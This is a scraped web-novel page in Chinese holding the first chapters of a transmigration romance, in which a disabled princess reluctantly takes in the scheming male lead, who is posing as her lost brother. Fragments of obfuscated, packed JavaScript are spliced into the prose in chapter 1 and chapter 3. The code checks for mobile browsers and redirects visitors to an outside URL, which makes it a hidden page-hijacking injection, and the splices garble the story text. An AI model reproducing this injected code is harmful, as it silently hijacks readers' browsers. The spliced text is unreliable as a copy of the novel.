《驯服恶犬》 1. 第 1 章 雪渣子打在猩红色的马车帘上,混着寒风从缝隙里钻进来,刮得人脸疼。 苏弱水伸手戴紧头上的白色兜帽,拨开一点帘子往外张望,指尖一接触到外面的冷意就被冻得一哆嗦,她迅速将手藏进了袖子里。 隔着帘子,车外的树影在雪雾中模模糊糊,前面有一块大石挡住了去路。 “小姐,前面又有大石挡路了。”刘叔骑着马回来,皱着眉,身上的衣服沾着雪。 换了三条路,不是被大石挡了路,就是被横贯的巨大枯木拦了。 “还有别的路吗?”苏弱水的声音被北风吹散。 刘叔摇头,“只剩下一条了。” 就是那条苏弱水怎么都不肯走的路。 南方的雪又冷又湿,直冷到了骨子里。 其实南方很不容易下雪,南方多雨,一直给人湿漉漉的感觉。一路从北方走来,他们也算得上是顺风顺水顺雨,可在苏弱水一等人进入这块地方之后,便突兀下起了雪。 一车人在这路上绕来绕去,都冻得不轻。 苏弱水却还在犹豫。 天道在帮他。 作为本书的天命大男主,陆泾川自然是天道偏爱的宠儿,虽身世凄惨,经历坎坷,但总能在危难时刻化险为夷。 比如,虽然他此刻正被人追杀,但幸运地被貌美心善的女菩萨救了一命。 只是这女菩萨就惨了,后续会被陆泾川连累得丢了性命。 早逝的工具人。 苏弱水仿佛看到自己头顶上面的六个大字。 这辈子好不容易穿成了藩王之女,最终却为男主这个野心家丢了性命,变成背景NPC。 苏弱水自然是不甘心的,可无奈,她已经尝试了很多次,这路不管她怎么绕都绕不过去。 “走那条路吧。”苏弱水终于妥协。 马车拐弯,辘辘往最后那条小路上去。 风雪小了许多,马车行走得更加顺畅。 远远地,刘叔就看到路边躺着个人,身上被白雪沾湿,这么冷的天却只穿了件单薄的破烂衣衫,看模样,还是一个少年郎。 “郡主,前面躺着一个人。” 刘叔知道自家郡主良善的性格,平日里施粥捐赠,路遇乞丐也会施舍银两。 因此,还不等苏弱水说话,刘飞已经准备下马将人救起来,却听到身后马车内传来自家郡主温柔的声音,“不要救。” 刘飞下马的动作一顿,一度怀疑是自己听错了。 直到苏弱水再次重复,“不要救。” 女子声线温柔,可说出来的话带着一股坚定的残忍。 扶趴在地的少年颤抖了一下眼睫,浑身僵硬无法动弹。 他只听到那道声音,温柔却残忍。 - 马车辘辘从少年身边经过,扶趴在那里的少年听到车辙无情的转动声,他眼皮抬了抬,却因为身体实在虚弱,所以只缓缓颤抖了一下沾着白霜的眼睫,便又闭上了。 猩红的马车帘子一晃而过,带着淡淡的药香味,毫不留情地从他面前碾压过去,溅起的脏雪落在他脸上,很快便凝结成冰。 马车过去了。 少年单薄的身子陷入薄雪之中,像一块轻薄的布,风轻轻一吹,就散了。 队伍没走出多远,风雪突兀增大,领头的刘飞拉紧身上的斗笠,转头朝身后道:“郡主,风雪太大了,山间路滑,我们不能再走了。” 马儿发出难耐的嘶鸣声,四蹄扬起,溅起飞雪。 苏弱水仰头看天,深吸一口气,比了一个中指,下一刻,风雪中炸出一声雷响,吓得苏弱水立刻把自己的手指收了回来。 无奈,她叹息一声,“回去,救那个人。” 话音一落,四周风雪突然削减,刘叔抬头,略显疑惑,却并未多想,只道:“郡主素常心软。” - 此次苏弱水是来看病的,路途遥远,她父亲北平王怕她出意外,特意找了一队护卫兵保护她,小队首领刘飞还是正三品的王府护卫指挥使司,上过战场,经验极其丰富的那种。 除了护卫兵,还有一同随她过来的乳娘王妈妈和大丫鬟画屏,以及几个供使唤的小丫鬟和从小就跟着苏弱水的医士。 大致五驾马车,苏弱水用的当然是最好的那辆,类似于现代版小房车,用屏风或帘子隔断,在里面营造出卧室、卫生间、客厅。此刻,苏弱水就靠在房车客厅内,身子懒懒地倚靠在窗边,隔着车窗帘子缝隙,看刘叔下马,将那少年抱起来。 少年实在是瘦,轻飘飘的几乎没有重量,身上也被冻僵了,从破烂的衣衫上能看到他肌肤处的新旧伤口,尤其是肩膀处那块,甚至能看到骨头。 “郡主,将他安置在何处?” 刘叔抱着人上前,站在马车前与苏弱水说话。 隔着一层马车帘子,有暖香从里面萦绕出来。 少年身体无法行动,却警惕性十足,像只垂死挣扎的狗崽子,用力抬目。 战栗眼睫下是一双极黑的眸,白色霜雪凝结在睫毛上,掩住了眸中暗色。 陆泾川看到一条缝。 那是一条马车帘子的窄缝,因为风雪,帘子虚虚拉开一角,只能隐隐绰绰看到一点里面的温光。 突然,一阵逆风吹起帘子。 昂贵的琉璃灯轻轻摇晃,下面的水晶流苏发出清脆的敲击声。视线往下,是一位躺在锦绣堆里的清丽美人。 她很瘦,脸上带着一股病弱气,像是常年病气缠身,唯一带颜色的是那额间一点红痣,艳丽的朱砂色,像从肌肤里沁出来的血。 绣着金丝线的靠枕被随意摆放垫在身下,厚重的白色裘衣掩住少女素白纤细的身形,一头天然乌黑长发蜿蜒而落,发尾搭在苍白却柔美的指尖上。 她单手怀抱着一只手炉,纤弱的手腕上绕着一串佛珠,面前的小案上还摆着新鲜的糕点和氤氲着热气的奶茶,眼帘下垂之时,眉间胭脂痣颜色更甚,透出一股天生的悲天悯人感。 如同一尊横在马车内的小菩萨。 千金难得的熏香萦绕而出,风落,帘子坠下。 隔着一层帘子,两人仿佛隔了一个世界。 一道温软的声音隔着帘子传过来,“放最后面的马车里。” “是,郡主。” - 马车内升起炭盆,被冻僵的身体逐渐恢复知觉,有随行医士正在替他抹药。 衣服料子几乎跟肉黏合在一起,医士皱着眉,看少年半阖着眉眼,似是醒了。 “我要替你处理伤口了,你若是疼便喊出来。” 旁人看着都鲜血淋漓,深可见骨的伤,少年却只是蹙了蹙眉,连哼都没有哼一声,实在是能忍痛。 马车内烧了炭盆,温度比外面暖和多了。 医士替少年处理完,惊叹于其忍耐力,然后安慰少年道:“你放心,咱们郡主最是菩萨心肠、温柔良善,你既上了郡主的马车,只要不犯错,必能吃上一口饱饭。” 菩萨心肠,温柔良善。 少年黝黑的眼瞳落到那医士脸上,幽黑深沉的一双眸,与他的年纪完全不符。 医士冷不丁有点发怵,他起身,手里拿着什么东西,出了马车。 少年的目光追随着他,马车帘子被医士掀起,风雪涌入,那一瞬间,冷意充斥鼻腔,卷入伤口,他的呼吸骤然一沉。 陆泾川看到最前面那辆异常瑰丽高大的马车一角,他低低喘息一声,似又嗅到那股昂贵熏香的味道,冲散鼻腔内的血腥气,还有那句:不要救。 - 风雪不知道什么时候停了,浅白的日头似出非出,带着盈盈暖意照入车内。 家奴惊呼一声,“这风雪下了好几日了,这时候居然停了,咱们运气真不错。” 哪里是他们运气不错,而是陆泾川身上带的气运罢了。 这场风雪困住他们也只是为了让他们营救男主。 苏弱水单手扶着额头,满面愁容。 陆泾川虽是男主,但并非纯正面形象,他狡诈多疑,睚眦必报,又聪明绝顶,善于隐忍。除了这些特质之外,他的运气也极好,因此,才能从一个贱籍奴隶变身成为藩王,并且在一众藩王之中脱颖而出,一统混乱局面,登上帝位。 如果苏弱水没记错的话,他肩膀上的伤口是自己弄出来的。 原身亲弟弟那里有一块胎记,他为了顺利取代苏锦书,自己挖了自己一块肉。 - 前面不远处便是驿站。 医士从少年的马车中出来后便来到苏弱水的马车前,将手里的东西交给了刘飞。 “这是从那少年身上掉出来的,我看着眼熟,麻烦刘大人拿给郡主看看。” 这个医士从小便替原身治病,可以说是看着原身长大的,自然认得这玉佩,只是并没有明说。 刘安拿着手里的半块带血玉佩上下打量,随后眸色一变,迅速找到苏弱水。 “郡主,请您看看这个。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595775|187439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏弱水正在小口小口喝着奶茶,古代的奶茶自然没有现代的那么多花样,只是最单纯的奶加茶,再加些蜂蜜,滋味倒也不错。 王妈妈单手打了帘子,将刘叔递过来的东西接进来。 玉佩有些脏,混着血污和泥泞,王妈妈用帕子擦洗干净。 “郡主,这玉佩……”王妈妈看着褪去血污的玉佩,脸上露出惊讶之色。 王妈妈是苏弱水母亲的陪嫁丫鬟,也是看着原身出生的人,自然认得这半块玉佩。 当年原身的母亲生下苏弱水后隔了三年又生了一个孩子,正巧那个时候原身的父亲北平王得了一块宝玉,便差人做了一对日月玉佩,分别给了自己的一双儿女。 苏弱水这里的是月玉佩,她弟弟那边的是日玉佩。 可惜,原身的弟弟早已在十一年前就走失了。 算算年纪,跟这个少年也差不多。 “郡主,难不成那少年是……”王妈妈激动得眼眶通红。 深知剧情的苏弱水神色淡定地看了王妈妈一眼,“等他醒了我再问问。” - 天黑前,众人赶到附近驿站。 因是小城,所以驿站较为简陋,不过好歹比荒山野岭住着强。 为首的马车直接驶入驿站院内,身穿黑甲的士兵围护在马车周围。 冷峭寒风之中,管理驿站的驿丞紧张地站在旁边等候。 终于,马车帘子被人揭开,率先出来的是个大丫鬟。 鹅蛋脸,柳条身,穿了件绿袄子,下了马车之后迅速撑起一柄伞。 随后,是一个年纪较大的中年妇人背着一位身形纤细的美人从里面出来。 风呼啸不断,夕阳细薄而冷,美人身上穿了件厚重的斗篷,一圈白色狐狸毛的兜帽盖住大半张脸,只露出略显苍白的唇色。可从身形来看,也知道长相定然不差。 一个大丫鬟在旁撑伞,另外几个小丫鬟跟在王妈妈身后护着。 刘飞将轮椅从马车的后面搬出来。 因为路途较短,所以苏弱水并没有坐轮椅,而是直接由王妈妈背着进了驿站二楼的客房。 这架轮椅是苏弱水口述之后,让家里的工匠做出来的,看起来更加现代也更加便捷。当然,肯定是比不上现代技术的,只是比之前好用一些。 驿丞带着驿站的驿吏们站在不远处,看着这锦绣般堆砌出来的美人消失在二楼套房内后,才悄悄松了一口气。 “大人,这位到底是何方神圣?”有驿吏大着胆子问了一句。 “不该问的别问,好好伺候就行。”驿丞神色冷淡地警告完毕,看一眼守在周围神情肃穆的护卫兵,伸手擦了擦额头的冷汗。 - 这是驿站内最好的屋子。 丫鬟们早已提前将屋子打扫收拾过,王妈妈将苏弱水放到柔软的丝绸被褥上,往她身侧垫上软垫,又替她取了身上斗篷,重新温了一个手炉和汤婆子,才重新坐下来,隔着裤子替她按摩双腿。 “郡主,今日感觉怎么样?” “还是老样子。” 苏弱水穿越过来的时候,一睁眼便是天旋地转的马车厢。 落石之中,马车滚下山坡,她无法控制自己的身体,只嗅到浓厚的血腥气。 脑袋钝痛,应该是在下坠的过程中撞伤了,苏弱水猜测这是原身死亡的根本原因。 而等马车厢停止翻滚的时候,苏弱水感觉到一阵剧痛从自己腿部传来。 她登时就觉得不好,果然,等她苏醒过来的时候,就被医士犹犹豫豫地告知她伤到了双腿,不过还是有恢复可能的。 这种话一般都是安慰患者的。 不过在知道自己的身份之后,苏弱水没有慌。 她知道自己穿书了。 因为知道自己是穿书,所以苏弱水知道后续剧情,她的腿会好。 她在府中安心修养,头上的致命伤养好了,腿还没好,没过多久,剧情开始发展,原身的父亲北平王经过多方打听,终于打听到一位隐居在南方的神医。 事情紧急,北平王直接安排苏弱水打包去往南方。而按照剧情发展,她果然遇到了男主,还是避不开的那种。 想到这里,苏弱水头疼地捂住脸,可还是挡住王妈妈那双通红的眼,正一脸期待地看着她。 她知道了,她知道了。 “让刘叔把人带过来吧。” 王妈妈立刻起身,激动地出门去了。 苏弱水更惆怅了。 2. 第 2 章 少年经过短暂的休息和治疗,已经恢复清醒,只是还不能独立行走,他是被刘叔扶着进来的。 苏弱水冷眼看着少年站都站不稳的样子,漂亮的眉头蹙得更紧。 她躺在床榻上,隔着一层薄薄的纱帐,两人的目光并不清晰,甚至因为逆光,所以陆泾川只能看到女人浅浅一个薄影。 屋内点了灯,是昂贵的琉璃灯,这种灯比煤油灯更亮,也更好看。 虽然看不清女人的脸,但陆泾川却能准确无误地隔着薄纱描绘出她的模样。 窄小的下颚,漂亮的鼻翼,杏仁眸,垂顺的黑发和苍白的脸,还有额间那一点胭脂痣。 屋内燃烧着浓郁的熏香味道,即便如此也盖不住那股药味。 因为要见郡主,所以丫鬟替陆泾川稍微整理了一下。 他的脸被擦干净了,除了些许冻伤和小擦伤之外,面部轮廓清晰可见。 太像了。 都说儿似母,女似父。 少年的眉眼跟王妃一模一样。 王妈妈越发激动,她想起自家小世子肩膀处有个蝴蝶形的胎记,下意识朝少年的肩膀上看过去。 那里缠着厚厚的纱布,隐约有血渗出来。 苏弱水尚未开口,王妈妈不敢擅作主张。 屋子里安静极了,苏弱水纤细的指尖抚摸着怀中的手炉,垂目盯着上面漂亮的花纹发呆。 仿佛过去很久,其实才那么一小会儿,王妈妈小声提醒,“郡主,人来了。” 她知道,就是单纯不想理而已。 因为身上伤口还没好,再加上身体虚弱,所以陆泾川由刘叔扶着,勉强站立。大概是站得有些久,他显出体力不支的疲态,额头渗出冷汗,整个身体忍不住地颤抖,全靠刘叔支撑。 “郡主。”王妈妈又低低唤她一声。 苏弱水才终于回神一般眨了眨眼。 她略显敷衍地“嗯”了一声,然后缓慢开口道:“我看看。” 说完,苏弱水伸手,不情不愿地用两根手指撩开了纱帐。 虚虚开了一条缝,少年的身形便映入眼帘。 感受到女人的目光,少年抬眸,因为虚弱,所以脸色苍白,他缓慢牵动唇角,冷艳的眉眼也变得生动柔软下来。 他记得那个叫顾盼弟又称苏锦书的少年就喜欢这样笑。 苏锦书笑起来时,身上那股沉闷一扫而空,也只有笑起来时,他那张过分平庸的脸才有几分肖似纱帐之后的美人。 陆泾川从来不笑,因为他觉得这个世界上并没有能让他开心的事。 苏弱水勾着纱帐的指尖一顿。 说实话,有那么一瞬间,她真的被媚到了。 陆泾川笑起来时,身上那股阴郁的冷感瞬间消散,他的五官如冰雪消融一般开始变得生动,就像精致的画轴生了画灵。 可一想到面前的少年是导致自己死亡的罪魁祸首,苏弱水对这张脸就只剩下一个想法。 那就是:讨厌。 不过苏弱水并没有s的嗜好。 “找个地方给他坐吧。”她终于开口。 “是,郡主。” 刘叔扶着人坐到一侧花梨木玫瑰椅上,陆泾川颤抖的身体才得以短暂休息。 屋内的气氛说不上紧绷,却也不算和谐。 这段剧情是原身发现面前这个被自己救下的少年居然是自己失踪多年的亲弟弟。 这是男主陆泾川踏上人生转折的第一步,而苏家,也就是北平王府,是他成为帝王的第一块垫脚石。 “叫什么名字?”苏弱水懒懒开口。 少年低垂着头,“顾盼弟。” 这是那家商户给苏锦书起的名字。 “父母尚在?” 少年摇头,“我从小被拐,此次出逃就是为了寻自己的亲生父母。” “玉佩是从哪来的?”苏弱水撩开纱帐一角,从里面递出来那块被彻底清洗干净的日玉佩。 少年抬眸,声音沙哑,“是我从小带着的。” 苏弱水握着玉佩的素指下意识攥紧了几分,纤薄苍白的肌肤上都被按压出了绯红色痕迹。 果然,男主是一定要当她这个假弟弟了。 屋内安静一瞬,女子的声音再次传来。 “你肩膀上可有一块蝴蝶形胎记?” 少年声音干涩而沙哑,带着一股难以掩饰的虚弱,“有……不过……”他神色艰难地抬眸,视线扫过纱帐后面,“我不慎伤了肩膀。” 有胎记,有玉佩,从小被拐。 王妈妈脸上的表情根本就掩饰不住。 她下意识往前走了两步,颤抖着唇瓣,上下打量面前的少年,越看越像自家王妃,比自家郡主都像。 也不是说原身不像她的母亲,只是她更像父亲一些。 原身的父亲生得姿容俊美,是藩王王中有名的美男子,因此,原身自然也不会难看,只是比起少年似母的昳丽,她的容貌更仿父亲的清冷单薄。 “太像了,实在是太像了……” 王妈妈与原身的母亲从小一起长大,虽是奴仆,但亲如姐妹,王妃因为丢失了一个孩子,所以产生了精神方面的问题,简而言之就是疯了。 如果能将孩子找回去,说不定王妃的病就好了! 陆泾川没见过那位王妃,这位中年妇人是第二个说他长得像的人。 他不知道到底有多像,可他知道那与他年纪相仿的少年会盯着他的脸发呆,望着他的眸子里盛着他看不懂的眷恋情意,那是他对母亲的憧憬与思念。 大概是因为他实在是长得与他母亲太像,所以那个身体虚弱的沉闷少年才会自己主动与他搭话。 他告诉他,他的母亲是个极温柔的人。 他说他记得自己小时候住在一栋很大的房子里,有很多人伺候他。 他身上藏着一枚玉佩,他偷了钱,从那商户家跑出来的时候,玉佩也被他一起偷出来了。 他还将玉佩拿给他看。 少年的手很粗糙,像是干惯了重活的。 他的手也很粗糙,他的肩膀上还有属于奴隶的印记。 少年说,他的肩膀上也有一个印记,那是一个蝴蝶胎记,他觉得,凭借着这枚玉佩和蝴蝶胎记,他便能找到真正的家人。他记得自己的家在北方,门口有两座很大的石狮子,父亲常常将他放在肩膀上,他看到一面很高的旗帜,上面有一头黑色的刺绣猛虎。 后来,那个少年死了,他看着少年的尸体,视线移到那块被少年紧紧攥在手里的玉佩上。 他扒开少年僵硬的手指,把玉佩取了出来。 他的脑中产生一个疯狂的计划。 距离实施只差一步。 而这一步来得是那么巧妙和必然。 当他隔着山坡,远远看到那面黑色的猛虎旗帜时,陆泾川听到自己疯狂窜动的心脏声,血液甚至因为这个计划而产生逆流的兴奋感。 他挖去了肩膀上的肉。 那块带着奴隶印记的血肉被挖下来的时候,他的身体痛到极致。 “你的蝴蝶胎记长什么模样?画出来。” 比起王妈妈的激动和刘叔的暗自惊喜,账内的女子始终保持着冷静。 有丫鬟搬来桌案,还附上纸笔。 少年抬手,执笔,毫不犹豫地画出了那个蝴蝶胎记。 王妈妈将画纸送到苏弱水面前。 苏弱水垂目盯着画纸,又是一阵长久的沉默。 少年攥着毛笔,纤瘦的身体坐在瑰丽的玫瑰椅上,他肩膀处的伤口因为牵扯所以开始疼痛起来,一刀一刀,像是割肉。 身体的疼痛缓慢加剧,手中滴着墨汁的毛笔落地,陆泾川身形往旁边倒去,被刘叔眼疾手快地接住。 “郡主,他晕过去了。” “带回去让医士看看。” 刘叔抱着少年出去了,苏弱水将那张画纸扔进炭盆里。 火焰一下蹿起来,照亮她苍白的面孔,更衬得那一点瞳色漆黑如墨 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苏弱水暗自在心中朝天比了一个中指,下一刻,又是一道惊雷乍现,径直劈开天幕,照得这被黑云压得昏暗至极的世界恍如白昼。 苏弱水:……心里也算? 陆泾川依旧坐在这张玫瑰椅上。 冷硬的椅子,弥漫的熏香,还有那个躺在纱帐之后的女子。 肩膀上的伤口以肉眼可见的速度愈合,女子每日的问题也越来越细,像是要将他剖干净。 “你还记得你五岁之前的事情吗?” 陆泾川垂目,“我记得自己好像曾经住在一栋很大的房子里,有一个男人,可能是我的父亲,他会将我放到他的肩膀上,我看到有一面黑色的猛虎旗帜……” 陆泾川的声音与他脑中少年的声音重合在一起。 一字一句,分毫不差。 王妈妈彻底信服。 她觉得这是上天眷顾。 为了给不知在何处的弟弟祈福,她家郡主每年都要茹素三个月,终于是感动佛祖,将人送了回来。 屋内安静极了,只有王妈妈忍不住地抽泣声。 陆泾川眼皮上抬,不着痕迹地往纱帐内看去。 隔着一层帐子,他看不到她的表情,更猜不到她的情绪。 陆泾川知道,能决定他命运的人是这个账后的女子。 若是没错的话,他记得那个少年唤她:阿姐。 我还有一个阿姐,我的阿姐是全世界最好的阿姐。 她会将自己最喜欢的糖耳朵分我一半。 我记得阿姐眉心有一点红痣,外面都传,我阿姐是小菩萨转世呢。 我阿姐是全世界最温柔的阿姐。 熏香的味道继续弥漫,夹杂着苦涩的药味,女子一直都没有说话,只是慢条斯理地喝奶茶。 今天时间差不多了。 “妈妈,我乏了。” 王妈妈起身,将外面第二层帐子放下,然后转身看向陆泾川,“你先出去吧。” 少年单手扶着身下的玫瑰椅起身,缓慢走了出去。 恢复得真快啊。 苏弱水隔着帐子看到少年模糊的背影消失在屋门口后,便由王妈妈抱着起身去如厕了。 这具身体的双腿无法行走,苏弱水一开始很不适应,后来时间长了也就习惯了。 收拾完毕,苏弱水又被送到床上。 “郡主。”王妈妈手里提着一个包裹进来,“那位小公子替您买了糖耳朵送来。” 因为对陆泾川的身份尚不明确,再加上他之前那个名字实在是太难听了,所以王妈妈便唤陆泾川为“小公子”。 南方很难买到糖耳朵这种北方吃食。 陆泾川此举自然是为了讨好苏弱水。 若是原身必然会想起他们姐弟二人的幸福时光,可惜苏弱水是个南方人,不爱吃这种东西。 “妈妈你跟刘叔分了吧。” 3. 第 3 章 在驿站已经一月有余,那位神医的消息还没有打探到,而陆泾川的伤则好得差不多了。 最重要的是,男主的回答滴水不漏,苏弱水根本就找不到突破口来戳破他伪装的身份。 南方三月的天气依旧寒凉,尤其是这倒春寒。 王妈妈特意给陆泾川买了几套干净衣裳替换。 穿着新衣裳的少年顶着那张漂亮的脸,安静坐在苏弱水的房间里,看起来无害极了。 “昨日说到……”苏弱水照旧躺在床榻上,回忆着昨天跟陆泾川的话题,“你小时候?” “孩子,说话呀。”王妈妈已经将陆泾川看作是那位走丢的小世子,望向他的眼神之中带着明显的爱怜之意。 “那是南方的一家商户……” 少年跟他说了很多,包括他被拐过去之后的事。 陆泾川低头凝视着自己厚袄之上昂贵的苏绣,“那家商户常年无子,听算命的说,往北方去到北平,遇到的第一个身穿蓝色袄子的孩子便是能替他们带来孩子运的孕引子。” “没错,没错!哥儿走丢的时候就是穿的一件蓝色袄子!”王妈妈再次泪流满面。 对于这种无稽之谈,苏弱水没有怀疑,因为就算是她生活的现代,还有人听信算命先生的话,为了要一个男婴,将自己亲生女儿的一只手臂和一只耳朵活活砍掉,只因为算命先生说这个女婴占了他家男孩的子宫命格,所以必须要砍掉一只胳膊和一只耳朵,才能将男婴换回来。 陆泾川继续,“前几年,我被带回去的时候还算不错,好吃好喝,只是拘着我不让我出门。时间一久,我也就渐渐淡忘了自己的身世。三年之后,那家商户的娘子怀孕了,生下一个男婴……” 话说到这里,陆泾川一顿。 自此,苏锦书的噩梦就开始了。 他在家里变成了一个无用的废人,从好吃好喝沦落成商户家中连奴仆都不如的地位。 而随着年纪渐长,他逐渐回忆起小时候的事。其实他从未忘记,只是从前年纪小,以为是自己的幻想,直到他偷听到了自家“父母”的谈话,才明白原来那并非是自己的幻想,而是真的。 他真的有一个幸福的家庭,他的亲生父母,他的阿姐,还在等着他。 终于,他逃了出来。 “我听到他们说并不是我的亲生父母,我偷了玉佩出来想寻自己的亲生父母。” 少年的声音低了下去,听起来多了几分压抑的可怜。 可苏弱水知道,这都是他的演技。 从小的奴隶生涯让陆泾川这个人比正常人少了几分道德底线。 撒谎,示弱,适当的时候露出獠牙,是他学会的野兽般的底层技能。 对上了,全部都对上了。 王妈妈热泪盈眶地望向苏弱水。 即使隔着纱帐,苏弱水也能感受到王妈妈激动的心情。 比起王妈妈,苏弱水显得过分平静了。 她像一个人机似的继续询问,“然后呢?” “我遇到山匪,死里逃生晕倒在路边。” 哪里是什么山匪啊,分明就是暗卫。 一个奴隶,杀了自己的主子,杀的还是那位晋王殿下的亲生女儿,被一路追杀,能活到现在靠的就是他身上的男主气运。 而从剧情上来说,真正让他暂时逃脱追捕的是苏锦书。 苏锦书的年龄,身形都跟陆泾川很像。 尸体泡在水中几日,也看不出容貌。 唯一能辨认的就是肩膀处的奴隶痕迹,被陆泾川暴力摧毁之后,急于交差的一众暗卫便就此止步。可那位晋王殿下却不信,亲自带着人过来了,这也就酿成了后面苏弱水的悲剧。 王妈妈已经哭得双眸红肿,跟桃儿似的挂在脸上。 这一个月以来,帐中女子每日都会让他过来。 事无巨细,一一盘问。 有时候说上一段话,又静默很久,才继续另外一个话题。 一如此刻。 “你肩膀上的伤好了吗?” “好了。” 那块伤口已经结疤,形成一个椭圆形的疤痕,看起来应该是没有办法消除了。 “我看看。” 这一个月以来,陆泾川都是隔着帐子跟女子说话。 他坐在距离床榻三米远的玫瑰椅上,因为屋内很安静,所以正常说话的音量就可以。 这次是他第一次跟女人近距离接触。 王妈妈上前,小心翼翼撩起一侧帐子。 第二层淡绿色的纱帐被挂在银钩上,榻内女子露出半个身形。 她斜斜倚靠在两个靛青色的软垫上,深沉的青将她不见光的肌肤映衬的越发雪白。 因为斜躺的姿势,所以女子长发未挽,柔顺下垂,几乎铺满半张锦绣床铺。 她手腕上缠着的那串佛珠映衬在苍白的肌肤上,在女人垂目之时为她添上了几分非人的神性感。女人清冷的眉眼也因为额间一点胭脂痣,所以弱化了其身上的冷漠气质。 菩萨吗。 确实是像。 陆泾川眉眼下垂,掩住眸中嘲色。 可惜,他不信神佛。 信神佛不如信自己。 陆泾川起身,在王妈妈的引导下一步一步朝女子走近。 越近,那股药味便越重。 药香之中,他又嗅到一股女子身上天然的香气,浸满了整个床榻。 因为苏弱水无法起身,所以陆泾川走到榻前后,半跪了下去。 他身上穿了三层,本来还有一件大氅,进门的时候被丫鬟接了挂在侧边木施上。 陆泾川抬手,指尖从领口插入,缓慢扯开衣领。 距离稍微有点远,苏弱水微微倾身看过去。 柔软的发丝随着她的动作缓慢滑动,贴上陆泾川的手臂。 少年咽了咽唇,视线所及,是女人下滑的大袖衣摆,苍白纤细的手臂撑着床沿,细瘦的手腕看起来能轻易折断。 他就是那样折断那位惠安郡主的脖子的。 丑陋的疤痕暴露在苏弱水面前,冲击力太强,她只看了一眼便不敢再看。 苏弱水缓慢挪动着身体靠回去,目光下移的时候跟少年的视线对上。 他微微歪着头,从下而上看着她纤细柔软的脖颈。 “好了,你出去吧。” 苏弱水下意识抬手打上银钩,帘子落下来,隔断了少年的视线。 陆泾川缓慢站起来,却没有立即出去,反而站在帐前,低声开口,“糖耳朵,好吃吗?” 苏弱水颤了颤眼睫,莫名感觉到一股心虚。 “唔,还行。” 陆泾川安静站了一会,“我再给你买。”说完,少年总算是出去了。 苏弱水上辈子已经是一个成年大人了,现在这具身体也比男主大了三岁,可不知道为什么,她却会被陆泾川吓到,难道真有气场这种东西? “连郡主喜欢吃糖耳朵这件事,小公子还记得……郡主,就是哥儿啊,就是哥儿啊!菩萨保佑,佛祖庇护,我得去烧香,还要捐香油钱,对了,郡主记得赶紧写信将这天大的喜事告知王爷和王妃……” 陆泾川一走,王妈妈就彻底绷不住了。 如此长时间的询问,王妈妈一直待在苏弱水身边,听得一清二楚。 “是啊,这天大的喜事一定要告知父王,我慢慢地,好好地写。” “哎哎。”王妈妈忙不迭点头,然后去替苏弱水取了书案来,置在床榻上的那种,又取了笔墨纸砚,细心帮她铺好。 苏弱水:…… 苏弱水抬手执笔,还未落下,突然蹙眉,“妈妈,我腿疼。” 王妈妈面色大变,立刻又将那些东西搬开,“怎么了?” “可能是要下雨了。” - 没有下雨,这几日都是晴天。 苏弱水一边翻着套着佛经外皮的话本子,一边蹙眉看一眼站在自己帐前的陆泾川。 因为之前每日里她都要寻他说上一会儿话,所以现在不等苏弱水吩咐,刘飞就把人带了过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏弱水这个屋子的位置是最好的,王妈妈听到动静走了进来,细心地替苏弱水洗漱完毕,然后将她抱到屏风后的净室里解决生理问题。 都收拾完毕,苏弱水坐在窗前朝下看。 今日天晴,画屏正带着几个小丫鬟替她晾晒东西。 而在一众女性身影中,苏弱水眼尖地看到了陆泾川的影子。 少年纤瘦,个头还没开始拔高,身体比例却已经呈现出好看的线条。养了一个多月,再也不是初见时那副瘦骨嶙嶙的样子,多了一点肉,气色也好了很多。 他穿了件青色袍子,用袖带将宽大的袖子扎起来,然后帮力气小的丫鬟搬挪佛经。 原身信佛,是北平城有名的女菩萨。 为了维持原身人设,苏弱水按照设定,就算去求医也带着几箱子佛经。每每路过寺庙,也要送上一笔丰厚的香油钱。 南方潮湿,佛经一直放在箱子里很容易泛潮,趁着天晴,王妈妈就开始给她张罗着晒经书。 “小公子帮着忙活半个多时辰了。”王妈妈望着楼下的陆泾川,忍不住露出笑,“小公子虽历尽磨难,但本性未变,与郡主一般良善,是个讨喜的孩子,若是王妃看到了,定然高兴……” 说到这里,王妈妈又忍不住开始拭泪。 讨喜? 因为生得好看,又是一副笑意盈盈的好脾气,所以小丫鬟们看起来都很喜欢陆泾川。 似乎是感受到了来自二楼的视线,少年突然抬头跟她对上。 早春冷白的阳光照在他身上,更衬得他整个人多了几分朦胧美感。少年扬唇,露出一个笑,红色的发带也扬起一抹恰到好处的优雅弧度。 苏弱水的眉头皱得更深,“啪嗒”一声抬手,径直关上了窗户。 分明是头恶犬,装什么萨摩耶。 4. 第 4 章 苏弱水知道,陆泾川极其擅长伪装,可她不知道他这么擅长,才短短一个月,她身边的所有人都被他俘虏了,苏弱水每天都能听到他做的好人好事。 比如给王妈妈买贴腰背的膏药,给画屏买最新出的胭脂,给刘叔买到了附近时常断货的美酒等等。 “小公子听说郡主喜欢喝晨露水泡的茶,今日晨间特意去给您接的晨露水。还有这些梅花,也是他送给郡主的。” 被折断的梅花散发着淡雅的香气,被王妈妈放在土灰色的瓦罐花瓶里置在窗前。 他不止讨好除了苏弱水以外的人,还在竭力讨好苏弱水。 若是苏弱水不知情,还当他真是这样一个小太阳。 “妈妈,帮我把刘叔叫过来。” “是。” 王妈妈出去了,很快便将刘飞喊了过来。 刘飞身上只穿了一件单薄的武服,这种天气他却大汗淋漓。 “属下刚才在教小公子练武,先回去换身衣裳再……”刘飞站在门口,远远朝苏弱水拱手行礼,怕自己现在这副样子冒犯到她,立即准备回去沐浴换衣。 “不用了,刘叔,我只问几句话。”苏弱水出声唤住他,让他进屋来。 